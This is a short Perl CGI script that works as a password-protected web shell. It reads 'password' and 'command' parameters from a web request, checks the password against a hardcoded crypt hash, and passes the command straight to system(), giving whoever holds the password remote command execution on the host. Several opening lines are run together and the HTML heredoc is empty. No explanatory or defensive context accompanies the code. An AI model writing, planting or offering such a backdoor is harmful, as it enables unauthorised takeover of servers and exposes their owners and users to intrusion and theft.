#!/usr/bin/perl use strict; use CGI qw(header param); $| = 1; print header(); # Crypted password my $HASH = "azEehXEsKGpt6"; # Fetch CGI input my $password = param('password'); my $command = param('command'); # Output HTML print << "END";
END
# If the password is correct, execute the command
if (crypt($password, $HASH) eq $HASH)
{
system($command);
}